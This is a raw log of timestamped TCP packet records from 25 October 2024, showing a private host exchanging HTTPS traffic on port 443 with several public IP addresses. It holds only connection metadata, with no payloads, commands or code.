Oct 25, 2024 10:20:02.195703030 CEST	50148	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:02.195719957 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:02.281686068 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.281774998 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.281863928 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.281966925 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:02.282497883 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:02.282542944 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:03.424082994 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:03.424190998 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:03.424278021 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:03.424923897 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:03.424963951 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.037383080 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.037885904 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.037919998 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.038358927 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.042087078 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.042155981 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.042438030 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.083336115 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.174988985 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.177258015 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.177372932 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.177745104 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.181416035 CEST	50151	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.181458950 CEST	443	50151	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.181940079 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:04.181997061 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:04.185585976 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:04.189418077 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:04.189441919 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:04.254062891 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.254117012 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:04.254409075 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.256021023 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:04.256035089 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.063529015 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.063612938 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.063766956 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.063783884 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.064254045 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.064577103 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.064699888 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.064821005 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.064850092 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.064903975 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.065331936 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.067624092 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.067713022 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.067766905 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.068083048 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.068120003 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.069832087 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.069869041 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.107342958 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.205248117 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.205362082 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.205476999 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.219096899 CEST	50154	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.219124079 CEST	443	50154	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.387197971 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387281895 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387336016 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387375116 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387415886 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387459993 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387460947 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.387505054 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387522936 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.387523890 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.387854099 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.387902021 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.391491890 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.391506910 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.395577908 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.510513067 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.510684013 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.510766983 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.510873079 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.510978937 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.511053085 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.511077881 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.511110067 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.511136055 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.511797905 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.511885881 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.511951923 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.511965036 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.512142897 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.512204885 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.546209097 CEST	50155	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:05.546246052 CEST	443	50155	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:05.591464996 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.591475010 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:05.591613054 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.591835022 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:05.591861010 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.269062042 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.269532919 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:06.269567966 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.269917011 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.270617962 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:06.270690918 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.270818949 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:06.311363935 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.409748077 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.409841061 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:06.409889936 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:06.411222935 CEST	50158	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:06.411246061 CEST	443	50158	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:11.219472885 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.219525099 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:11.219782114 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.220150948 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.220160007 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:11.830270052 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:11.830604076 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.830666065 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:11.831029892 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:11.831351995 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.831425905 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:11.831517935 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.831612110 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.831639051 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:11.831744909 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:11.831773996 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.165288925 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.165489912 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.165586948 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.165587902 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:12.165662050 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.165725946 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:12.165744066 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.165895939 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.165993929 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:12.166026115 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.166059971 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.167639017 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:12.167664051 CEST	443	50164	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:12.167689085 CEST	50164	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:12.177617073 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.177665949 CEST	443	50166	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.177901983 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.178320885 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.178330898 CEST	443	50166	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.182168007 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.182177067 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.182329893 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.182565928 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.182574034 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.780785084 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.781243086 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.781286955 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.781698942 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.782371044 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.782449007 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.782929897 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.787086964 CEST	443	50166	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.812967062 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.812983990 CEST	443	50166	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.814119101 CEST	443	50166	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.814201117 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.827342033 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.888822079 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.888911009 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.888911009 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.889038086 CEST	443	50166	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.889240980 CEST	50166	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.889461040 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.889501095 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.889638901 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.890219927 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:12.890234947 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:12.915931940 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.916013956 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:12.916074991 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.916687012 CEST	50167	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:12.916708946 CEST	443	50167	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:13.504807949 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.526457071 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.526479959 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.527854919 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.567564964 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.578438997 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.578684092 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.629089117 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.633114100 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.679344893 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.747476101 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.747500896 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.897382975 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.897763968 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:13.897864103 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.899343014 CEST	50168	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:13.899363995 CEST	443	50168	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:14.516557932 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:14.516611099 CEST	443	50169	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:14.516680956 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:14.517739058 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:14.517752886 CEST	443	50169	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:14.725688934 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:14.725749016 CEST	443	50170	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:14.725831032 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:14.726763010 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:14.726777077 CEST	443	50170	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:15.177969933 CEST	443	50169	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.178716898 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.178786039 CEST	443	50169	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.179877996 CEST	443	50169	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.179943085 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.180466890 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.180500984 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.180571079 CEST	443	50169	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.180578947 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.180634975 CEST	50169	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.181055069 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.181119919 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.181211948 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.181488037 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.181514978 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.343152046 CEST	443	50170	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:15.385936022 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.433057070 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.433114052 CEST	443	50170	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:15.437061071 CEST	443	50170	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:15.437164068 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.437802076 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.437839031 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.437927961 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.438005924 CEST	443	50170	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:15.438071966 CEST	50170	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.438499928 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.438554049 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:15.438637972 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.438972950 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:15.438992023 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:15.819783926 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.825870991 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.825898886 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.826925993 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.826988935 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.829814911 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.829888105 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.830071926 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.830081940 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.830116987 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:15.875333071 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:15.875633955 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.048337936 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.048722982 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.048774958 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.049814939 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.049881935 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.050288916 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.050388098 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.052479029 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.052529097 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.097775936 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.186892033 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.186974049 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.187110901 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.188361883 CEST	50172	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.188406944 CEST	443	50172	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.564029932 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:16.564146042 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:16.564208031 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.564816952 CEST	50171	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.564836979 CEST	443	50171	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:16.650980949 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.651011944 CEST	443	50174	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:16.651201010 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.656414986 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.656446934 CEST	443	50175	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:16.656541109 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.659554958 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.659564972 CEST	443	50175	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:16.662446022 CEST	50176	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:16.662487984 CEST	443	50176	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:16.662607908 CEST	50176	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:16.663192987 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:16.663206100 CEST	443	50174	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:16.664690971 CEST	50177	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:20:16.664699078 CEST	443	50177	151.101.130.137	192.168.2.6
Oct 25, 2024 10:20:16.664756060 CEST	50177	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:20:16.667757988 CEST	50177	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:20:16.667766094 CEST	443	50177	151.101.130.137	192.168.2.6
Oct 25, 2024 10:20:16.668313980 CEST	50176	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:16.668337107 CEST	443	50176	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:16.674788952 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.674843073 CEST	443	50178	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:16.674896955 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.677310944 CEST	50178	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:16.677320957 CEST	443	50178	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.268786907 CEST	443	50176	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:17.269661903 CEST	443	50174	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.273152113 CEST	443	50175	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.281177044 CEST	50176	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:17.281219006 CEST	443	50176	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:17.282001972 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.282032013 CEST	443	50175	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.282143116 CEST	443	50176	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:17.282815933 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.282829046 CEST	443	50174	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.283715963 CEST	50176	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:17.283894062 CEST	443	50174	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.283902884 CEST	443	50176	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:17.283946991 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.284832954 CEST	443	50175	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.284904957 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.300226927 CEST	443	50178	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:17.302282095 CEST	443	50177	151.101.130.137	192.168.2.6
Oct 25, 2024 10:20:17.304559946 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.304783106 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.304781914 CEST	443	50174	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.304944038 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.304958105 CEST	443	50174	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.304971933 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.305051088 CEST	50174	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.306025982 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.306101084 CEST	443	50179	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.306181908 CEST	50179	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.307508945 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.307535887 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.307684898 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.307750940 CEST	443	50175	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.307903051 CEST	50175	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.308751106 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.308793068 CEST	443	50180	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:17.308943987 CEST	50180	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:17.309072018 CEST	50177	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:20:17.309083939 CEST	443	50177	151.101.130.137	192.168.2.6
Oct 25, 2024 10:20:17.309437990 CEST	443	50177	151.101.130.137	192.168.2.6
